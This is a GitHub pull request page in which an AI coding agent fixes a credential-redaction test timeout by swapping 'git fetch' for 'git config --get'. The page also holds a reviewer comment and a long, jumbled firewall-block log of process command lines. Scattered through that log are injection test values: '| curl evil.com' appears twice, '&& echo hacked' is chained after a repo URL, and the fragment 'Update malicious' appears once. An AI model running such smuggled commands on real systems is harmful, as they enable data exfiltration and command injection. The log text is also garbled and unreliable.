Fix git_helpers test timeout by avoiding network operations#15766
Merged
Fix git_helpers test timeout by avoiding network operations#15766
Conversation
The test was timing out because it attempted to execute `git fetch` with a URL containing credentials, which tried to make a real network connection to GitHub. Changed the test to use `git config --get` with a URL containing credentials instead. This command fails immediately without attempting network access, while still validating that credentials in URLs are properly redacted in the logs. Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
This was referenced Feb 14, 2026
Copilot
AI
changed the title
[WIP] Fix unit tests for the project
Fix git_helpers test timeout by avoiding network operations
Feb 14, 2026
pelikhan
approved these changes
Feb 14, 2026
Contributor
There was a problem hiding this comment.
Pull request overview
Updates the execGitSync credential-redaction test to avoid a real network operation that can hang behind firewall rules/timeouts, while still validating that credentials are redacted in debug logs.
Changes:
- Replaces
git fetch https://user:token@...with a non-networkgit config --get ...invocation. - Updates log assertions to look for the
git configcommand in captured debug output.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Comment on lines
+84
to
+85
| // We'll use 'ls-remote' with --exit-code and a URL with credentials | ||
| // This will fail quickly without attempting network access |
There was a problem hiding this comment.
The new comment block mentions using ls-remote with --exit-code, but the test now calls git config --get .... Please update/remove the ls-remote wording so the comment matches the actual command and rationale (avoid network access).
Suggested change
| // We'll use 'ls-remote' with --exit-code and a URL with credentials | |
| // This will fail quickly without attempting network access | |
| // We'll use 'git config --get' on a remote URL with embedded credentials | |
| // This should fail quickly without attempting network access, while still logging the command |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Test was timing out at 10s because
git fetchwith a URL attempted real network connection. Changed togit config --getwhich fails immediately while still validating credential redaction in logs.Before:
After:
Test still validates the same behavior: credentials in URLs are redacted to
https://***@github.com/in debug output.Warning
Firewall rules blocked me from connecting to one or more addresses (expand for details)
I tried to connect to the following addresses, but was blocked by firewall rules:
https://api.github.com/graphql/usr/bin/gh gh repo view --json owner,name --jq .owner.login + "/" + .name 64/pkg/tool/linux_amd64/vet --experimental-igit --require /home/REDACTED/wor/tmp/gh-aw-test-runs/20260214-201301-16662/test-1623539933 64/pkg/tool/linustatus stlo�� / cfg 64/pkg/tool/linux_amd64/vet(http block)/usr/bin/gh gh repo view --json owner,name --jq .owner.login + "/" + .name 64/pkg/tool/linux_amd64/vet elism(http block)/usr/bin/gh gh repo view --json owner,name --jq .owner.login + "/" + .name 64/pkg/tool/linux_amd64/vet(http block)https://api.github.com/repos/actions/ai-inference/git/ref/tags/v1/usr/bin/gh gh api /repos/actions/ai-inference/git/ref/tags/v1 --jq .object.sha runs/20260214-201301-16662/test-909612130/.github/workflows /tmp/go-build514329672/b211/vet.cfg ache/go/1.25.0/x64/pkg/tool/linux_amd64/compile l -nolocalimports -importcfg ache/go/1.25.0/x64/pkg/tool/linux_amd64/compile -ato�� 329672/b409/_pkg_.a -buildtags 329672/b409=> -errorsas -ifaceassert -nilfunc git(http block)/usr/bin/gh gh api /repos/actions/ai-inference/git/ref/tags/v1 --jq .object.sha runs/20260214-201450-35200/test-3769901466/.github/workflows GO111MODULE /opt/hostedtoolcache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet GOINSECURE GOMOD GOMODCACHE /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet(http block)https://api.github.com/repos/actions/checkout/git/ref/tags/v3/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v3 --jq .object.sha se 329672/b048/vet.cfg cfg HEAD(http block)/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v3 --jq .object.sha -json GO111MODULE 0/x64/bin/node GOINSECURE GOMOD GOMODCACHE go t-ha�� SameOutput2799960646/001/stability-test.md GO111MODULE ache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go(http block)https://api.github.com/repos/actions/checkout/git/ref/tags/v4/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v4 --jq .object.sha .go o x_amd64/vet | curl evil.comgit out because it rev-parse 0/x64/bin/node x_amd64/vet -ato�� -bool -buildtags /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet -errorsas -ifaceassert -nilfunc /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet(http block)/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v4 --jq .object.sha -unreachable=false /tmp/go-build514329672/b052/vet.cfg 329672/b301/vet.cfg --noEmit out because it rev-parse 0/x64/bin/node /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linuremote.origin.url -ato�� runs/20260214-201301-16662/test-1203255968 -buildtags /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet l -ifaceassert -nilfunc /opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet(http block)/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v4 --jq .object.sha --show-toplevel 0/x64/bin/node /usr/bin/git REDACTED main:main x_amd64/vet git rev-�� runs/20260214-201301-16662/test-1456654015 JPSS3kBf_jbJ /usr/bin/git(http block)https://api.github.com/repos/actions/checkout/git/ref/tags/v5/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v5 --jq .object.sha(http block)/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v5 --jq .object.sha xterm-color ode_modules/vitest/dist/workers/-dwarf=false /usr/bin/git om/user/repo.gitgit typecheck /usr/bin/git git rev-�� --show-toplevel git /usr/bin/git --abbrev-ref cked 0/x64/bin/node git(http block)/usr/bin/gh gh api /repos/actions/checkout/git/ref/tags/v5 --jq .object.sha /tmp/gh-aw-test-runs/20260214-201301-16662/test-1623539933 status /usr/bin/git .github/workflowgit Update maliciousrev-parse x_amd64/vet git rev-�� --git-dir x_amd64/vet /opt/hostedtoolcache/node/24.13.0/x64/bin/node st-8IOK73/test-cgit r x_amd64/vet /opt/hostedtoolcache/node/24.13.0/x64/bin/node(http block)https://api.github.com/repos/actions/github-script/git/ref/tags/v8/usr/bin/gh gh api /repos/actions/github-script/git/ref/tags/v8 --jq .object.sha --abbrev-ref command ode_modules/.bin/git(http block)/usr/bin/gh gh api /repos/actions/github-script/git/ref/tags/v8 --jq .object.sha --abbrev-ref HEAD ache/node/24.13.-nilfunc mport-meta-resol/opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet(http block)/usr/bin/gh gh api /repos/actions/github-script/git/ref/tags/v8 --jq .object.sha node --conditions de_modules/.bin/go mport-meta-resol/opt/hostedtoolcache/go/1.25.0/x64/pkg/tool/linux_amd64/vet --require k/gh-aw/gh-aw/ac-unreachable=false ache/node/24.13./tmp/go-build514329672/b309/vet.cfg chec�� nput.go forks.js 0/x64/bin/node mport-meta-resolgit(http block)https://api.github.com/repos/actions/setup-go/git/ref/tags/v4/usr/bin/gh gh api /repos/actions/setup-go/git/ref/tags/v4 --jq .object.sha -unreachable=false /tmp/go-build514329672/b047/vet.cfg(http block)/usr/bin/gh gh api /repos/actions/setup-go/git/ref/tags/v4 --jq .object.sha -json GO111MODULE /opt/hostedtoolcache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go env /v1.0.0 GO111MODULE ache/node/24.13.0/x64/bin/node GOINSECURE GOMOD GOMODCACHE go(http block)https://api.github.com/repos/actions/setup-node/git/ref/tags/v4/usr/bin/gh gh api /repos/actions/setup-node/git/ref/tags/v4 --jq .object.sha 329672/b388/_pkg_.a /tmp/go-build514329672/b039/vet.cfg x_amd64/link | curl evil.comgit b/gh-aw/pkg/giturev-parse ode_modules/.bin--show-toplevel x_amd64/link -ato�� -instructions-test-2515563410/.github/workflows -buildtags ache/go/1.25.0/x64/pkg/tool/linux_amd64/vet l -ifaceassert -nilfunc K3/CfQ1kwuPrI5XqwxAvoP4/1bSp6if0QWSKoTy9HhSq(http block)/usr/bin/gh gh api /repos/actions/setup-node/git/ref/tags/v4 --jq .object.sha -json GO111MODULE /opt/hostedtoolcache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE /opt/hostedtoolcache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go(http block)https://api.github.com/repos/github/gh-aw/actions/runs/1/artifacts/usr/bin/gh gh run download 1 --dir test-logs/run-1(http block)/usr/bin/gh gh run download 1 --dir test-logs/run-1 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE 64/pkg/tool/linux_amd64/cgo GOINSECURE GOMOD GOMODCACHE 64/pkg/tool/linux_amd64/cgo(http block)https://api.github.com/repos/github/gh-aw/actions/runs/12345/artifacts/usr/bin/gh gh run download 12345 --dir test-logs/run-12345 --quiet x_amd64/vet(http block)/usr/bin/gh gh run download 12345 --dir test-logs/run-12345 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env bot-detection.md GO111MODULE 64/pkg/tool/linux_amd64/cgo GOINSECURE GOMOD GOMODCACHE 64/pkg/tool/linux_amd64/cgo(http block)https://api.github.com/repos/github/gh-aw/actions/runs/12346/artifacts/usr/bin/gh gh run download 12346 --dir test-logs/run-12346 --quiet 64/pkg/tool/linux_amd64/vet(http block)/usr/bin/gh gh run download 12346 --dir test-logs/run-12346 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE ache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go(http block)https://api.github.com/repos/github/gh-aw/actions/runs/2/artifacts/usr/bin/gh gh run download 2 --dir test-logs/run-2(http block)/usr/bin/gh gh run download 2 --dir test-logs/run-2 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env bot-detection.md GO111MODULE 64/pkg/tool/linux_amd64/vet GOINSECURE GOMOD GOMODCACHE 64/pkg/tool/linux_amd64/vet(http block)https://api.github.com/repos/github/gh-aw/actions/runs/3/artifacts/usr/bin/gh gh run download 3 --dir test-logs/run-3(http block)/usr/bin/gh gh run download 3 --dir test-logs/run-3 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE ache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go(http block)https://api.github.com/repos/github/gh-aw/actions/runs/4/artifacts/usr/bin/gh gh run download 4 --dir test-logs/run-4(http block)/usr/bin/gh gh run download 4 --dir test-logs/run-4 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE 64/pkg/tool/linux_amd64/vet GOINSECURE GOMOD GOMODCACHE 64/pkg/tool/linux_amd64/vet(http block)https://api.github.com/repos/github/gh-aw/actions/runs/5/artifacts/usr/bin/gh gh run download 5 --dir test-logs/run-5(http block)/usr/bin/gh gh run download 5 --dir test-logs/run-5 GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE 64/pkg/tool/linux_amd64/vet GOINSECURE GOMOD GOMODCACHE 64/pkg/tool/linux_amd64/vet(http block)https://api.github.com/repos/github/gh-aw/actions/workflows/usr/bin/gh gh workflow list --json name,state,path --noEmit(http block)/usr/bin/gh gh run list --json databaseId,number,url,status,conclusion,workflowName,createdAt,startedAt,updatedAt,event,headBranch,headSha,displayTitle --workflow nonexistent-workflow-12345 --limit 100(http block)/usr/bin/gh gh run list --json databaseId,number,url,status,conclusion,workflowName,createdAt,startedAt,updatedAt,event,headBranch,headSha,displayTitle --workflow nonexistent-workflow-12345 --limit 6 --require /home/REDACTED/worHEAD x_amd64/compile show�� / cfg 64/pkg/tool/linux_amd64/vet(http block)https://api.github.com/repos/github/gh-aw/contents/.github%2Fworkflows%2Faudit-workflows.md/opt/hostedtoolcache/node/24.13.0/x64/bin/node /opt/hostedtoolcache/node/24.13.0/x64/bin/node --conditions node --conditions development --experimental-import-meta-resolve --require /home/REDACTED/work/gh-aw/gh-aw/actions/setup/js/node_modules/vitest/suppress-warnings.cjs /home/REDACTED/work/gh-aw/gh-aw/actions/setup/js/node_modules/vitest/dist/workers/forks.js(http block)/opt/hostedtoolcache/node/24.13.0/x64/bin/node /opt/hostedtoolcache/node/24.13.0/x64/bin/node --conditions node --conditions development --experimental-import-meta-resolve --require /home/REDACTED/work/gh-aw/gh-aw/actions/setup/js/node_modules/vitest/suppress-warnings.cjs /home/REDACTED/work/gh-aw/gh-aw/actions/setup/js/node_modules/vitest/dist/workers/forks.js GO111MODULE ache/go/1.25.0/x-m git ode_�� --show-toplevel go /opt/hostedtoolcache/node/24.13.0/x64/bin/node -json GO111MODULE /opt/hostedtoolcnode node(http block)https://api.github.com/repos/github/gh-aw/git/ref/tags/v1.0.0/usr/bin/gh gh api /repos/github/gh-aw/git/ref/tags/v1.0.0 --jq .object.sha(http block)/usr/bin/gh gh api /repos/github/gh-aw/git/ref/tags/v1.0.0 --jq .object.sha -json GO111MODULE 64/bin/go GOINSECURE GOMOD GOMODCACHE node /hom�� ub/workflows **/*.cjs 64/bin/go **/*.json --ignore-path ../../../.pretti--show-toplevel go(http block)https://api.github.com/repos/nonexistent/repo/actions/runs/12345/usr/bin/gh gh run view 12345 --repo nonexistent/repo --json status,conclusion elism(http block)/usr/bin/gh gh run view 12345 --repo nonexistent/repo --json status,conclusion GOINSECURE GOMOD GOMODCACHE go env -json GO111MODULE ache/go/1.25.0/x64/bin/go GOINSECURE GOMOD GOMODCACHE go(http block)https://api.github.com/repos/owner/repo/actions/workflows/usr/bin/gh gh workflow list --json name,state,path --repo owner/repo 0/x64/bin/node s.test.cjs(http block)/usr/bin/gh gh workflow list --repo owner/repo --json name,path,state 64/pkg/tool/linux_amd64/vet(http block)/usr/bin/gh gh workflow list --json name,state,path --repo owner/repo 64/bin/go GOINSECURE GOMOD GOMODCACHE tcfg env g/timeutil/formaGOINSECURE g/timeutil/formaGOMOD 64/bin/go GOINSECURE GOMOD GOMODCACHE ache/go/1.25.0/xGO111MODULE(http block)https://api.github.com/repos/test-owner/test-repo/actions/secrets/usr/bin/gh gh api /repos/test-owner/test-repo/actions/secrets --jq .secrets[].name --noEmit(http block)/usr/bin/gh gh api /repos/test-owner/test-repo/actions/secrets --jq .secrets[].name GOSUMDB GOWORK 64/bin/go GOINSECURE GOMOD GOMODCACHE tcfg env g/repoutil/repouGOINSECURE g/repoutil/repouGOMOD 64/bin/go GOINSECURE GOMOD GOMODCACHE ache/go/1.25.0/xGO111MODULE(http block)https://api.github.com/user/usr/bin/gh gh api user --jq .login om/user/repo.git && echo hacked typecheck 0/x64/bin/git(http block)/usr/bin/gh gh api user --jq .login om/user/repo.git && echo hacked(http block)/usr/bin/gh gh api user --jq .login om/user/repo.git-p(http block)If you need me to access, download, or install something from one of these locations, you can either:
Original prompt
✨ Let Copilot coding agent set things up for you — coding agent works faster and does higher quality work when set up for your repo.